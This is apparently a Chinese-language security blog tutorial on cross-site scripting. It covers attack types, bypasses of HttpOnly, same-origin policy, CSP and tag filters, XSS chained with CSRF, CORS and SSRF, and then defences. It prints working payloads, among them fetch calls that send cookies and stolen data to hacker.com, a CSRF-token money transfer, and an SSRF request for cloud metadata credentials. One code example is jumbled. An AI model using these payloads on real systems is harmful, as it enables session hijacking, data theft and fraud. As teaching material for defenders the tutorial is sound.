XSS 漏洞深度解析:攻防对抗与高阶利用

2025-03-09 1 0

一、XSS 漏洞核心原理与分类

1. XSS 本质与危害

XSS(跨站脚本攻击)的本质是攻击者通过注入恶意脚本到可信页面中,使得用户浏览器执行非预期的代码。其危害包括:

  • Cookie 窃取:获取用户会话身份。

  • 页面篡改:钓鱼攻击、广告注入。

  • 键盘记录:监听用户输入。

  • 内网探测:结合浏览器能力扫描内网服务。

2. XSS 三大类型

  • 反射型 XSS:恶意脚本来自 HTTP 请求参数,服务端未过滤直接返回页面。
    示例

https://example.com/search?q=<script>alert(1)</script>
  • 存储型 XSS:恶意脚本存储到数据库,长期影响所有访问者。
    常见场景:论坛评论、用户资料页。

  • DOM 型 XSS:纯前端漏洞,由 JavaScript 操作 DOM 时引入。
    示例

document.write('<div>' + location.hash.slice(1) + '</div>');  // 攻击:http://site.com#<img src=x onerror=alert(1)>

二、HttpOnly 对 XSS 的防御与绕过

1. HttpOnly 的作用原理

  • Cookie 保护:当 Cookie 标记为 HttpOnly时,JavaScript 无法通过 document.cookie读取。
    服务端设置示例(Node.js):

res.setHeader('Set-Cookie', 'session=abc123; HttpOnly; Secure; SameSite=Strict');

2. HttpOnly 的局限性

  • 无法阻止以下攻击

    • 劫持用户会话后发起请求(如 <script>fetch('/transfer?to=hacker')</script>)。

    • 读取浏览器自动填充的密码(需结合其他漏洞)。

    • 利用浏览器扩展 API(如 chrome://协议)。

3. 绕过 HttpOnly 的尝试

  • XST(Cross-Site Tracing)攻击
    利用 HTTP TRACE 方法反射 Cookie(现代浏览器已禁用 TRACE)。
    攻击代码

<script>
  var xhr = new XMLHttpRequest();
  xhr.open('TRACE', 'http://target.com', true);
  xhr.onload = function() { 
    sendToAttacker(xhr.responseText); // 提取包含 Cookie 的响应
  };
  xhr.send();
</script>
  • 浏览器漏洞利用
    历史漏洞(如 IE 的 document.execCommand("GetObject"))可绕过 HttpOnly。


三、同源策略(SOP)对 XSS 的影响与绕过

1. 同源策略的核心规则

同源策略限制不同源的页面间访问敏感数据,定义为:协议、域名、端口均相同。
受限操作

  • 读取跨源页面的 DOM、Cookie、LocalStorage。

  • 发送跨域 AJAX 请求(受 CORS 限制)。

2. SOP 如何缓解 XSS

  • 限制数据泄露:即使存在 XSS,攻击者无法直接通过 AJAX 发送数据到外部域名。
    示例

// 攻击者尝试外传 Cookie
fetch('https://hacker.com/steal?data=' + document.cookie);  // 受 CORS 阻止

3. 绕过 SOP 的技术手段

(1) CORS 配置错误
  • 场景:目标站点配置 Access-Control-Allow-Origin: *
    攻击步骤

fetch('https://target.com/api/user', { 
credentials: 'include'
  1. 诱导用户访问恶意页面 evil.com
    2. 通过 XHR 发送带凭据的请求:

}).then(data => sendToAttacker(data));
```

(2) JSONP 回调函数注入
  • 原理:利用未过滤回调参数的 JSONP 接口。
    漏洞端点

https://target.com/api?callback=legitCallback

攻击代码

<script>
  function stealData(data) {
    sendToAttacker(JSON.stringify(data));
  }
</script>
<script src="https://target.com/api?callback=stealData"></script>
(3) postMessage 滥用
  • 场景:父窗口与 iframe 通信时未验证来源。
    漏洞代码(父窗口):

window.addEventListener('message', (e) => {
  document.getElementById('content').innerHTML = e.data; // 未验证 e.origin
});

攻击代码(恶意页面):

window.opener.postMessage('<img src=x onerror=alert(document.cookie)>', '*');

四、绕过特殊标签过滤的 XSS 技巧

1. 经典标签与属性绕过

  • 绕过 <script>过滤

<!-- 利用事件处理器 -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

<!-- 利用伪协议 -->
<a href="javascript:alert(1)">Click</a>
  • 绕过空格与大小写

<IMG SRC=x ONERROR=alert(1)>  <!-- 大小写混合 -->
<script\u0020>alert(1)</script>  <!-- Unicode 编码 -->

2. 现代浏览器防御绕过

  • CSP(内容安全策略)绕过

<script src="https://cdn.target.com/legit.js?callback=alert(1)"></script>
  • 利用 unsafe-inline或缺失 default-src

    • 注入允许域的脚本:

  • XSS Auditor 绕过(已弃用):

<script>var a = '{{ '; alert(1); // ' }}';</script>
  • 拆分恶意代码:


五、XSS 与其他漏洞的组合利用

1. XSS + CSRF:跨站脚本与请求伪造

  • 攻击链

    1. 通过 XSS 获取当前用户的 CSRF Token。

    2. 构造自动提交表单:

fetch('/api/csrf-token').then(r => r.json()).then(token => {
  fetch('/api/transfer', {
    method: 'POST',
    body: JSON.stringify({to: 'hacker', amount: 1000, _token: token})
  });
});

2. XSS + CORS:跨域数据外泄

  • 场景:目标站点允许来自任意域的 CORS 请求。
    攻击代码

fetch('https://target.com/sensitive-data', { credentials: 'include' })
  .then(res => res.text())
  .then(data => {
    fetch('https://hacker.com/log?data=' + encodeURIComponent(data));
  });

3. XSS + SSRF:穿透内网边界

  • 利用方式:通过 XSS 触发服务端请求(需存在 SSR 功能)。
    示例(Node.js 漏洞代码):

app.get('/proxy', (req, res) => {
  fetch(req.query.url).then(r => r.text()).then(data => res.send(data));
});

攻击载荷

<script>
  fetch('/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/');
</script>

4. XSS + 业务逻辑漏洞:特权升级

  • 案例:某电商平台存在订单金额篡改漏洞,结合 XSS 自动化攻击:

// 修改订单金额为 0.01 元
const orderId = '12345';
fetch(`/api/orders/${orderId}`, {
  method: 'PUT',
  body: JSON.stringify({ amount: 0.01 })
});

六、综合防御方案

1. 输入过滤与输出编码

  • 原则:对用户输入进行严格校验,对动态输出进行上下文敏感编码。
    示例(React 安全实践):

// 自动转义 HTML
<div>{userInput}</div>

// 危险场景:使用 dangerouslySetInnerHTML 时需净化
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(htmlInput) }} />

2. 内容安全策略(CSP)

  • 推荐配置

Content-Security-Policy: 
  default-src 'none';
  script-src 'self' https://trusted-cdn.com;
  img-src 'self';
  style-src 'self' 'unsafe-inline';
  connect-src 'self';
  form-action 'self';
  frame-ancestors 'none';
  report-uri /csp-report;

3. 安全 HTTP 头部

  • 增强配置

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: no-referrer

4. 现代浏览器特性

  • Trusted Types API(Chrome 83+):

// 服务端返回头
Content-Security-Policy: require-trusted-types-for 'script';

// 前端定义策略
const policy = trustedTypes.createPolicy('escapePolicy', {
  createHTML: input => DOMPurify.sanitize(input)
});
document.body.innerHTML = policy.createHTML(userInput);

七、总结

XSS 的防御是一场持续的动态博弈。攻击者不断发掘新的绕过技巧,而开发者需通过分层防御、安全编码和实时监控构建全方位护盾。理解漏洞原理、熟悉攻击手法、掌握防御框架,是每一位 Web 安全从业者的必修课


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

本地密码管理工具——python
小白首选最新版VMware Workstation Pro详细下载和安装教程
代码审计——SpringBoot SpEL 表达式注入漏洞
Zyxel Telnet 漏洞分析(CVE-2025-0890、CVE‑2024‑40891)
CISA警告VMware漏洞正遭积极利用,敦促企业立即修补
LibreOffice 严重漏洞:攻击者可通过宏 URL 执行任意脚本

发布评论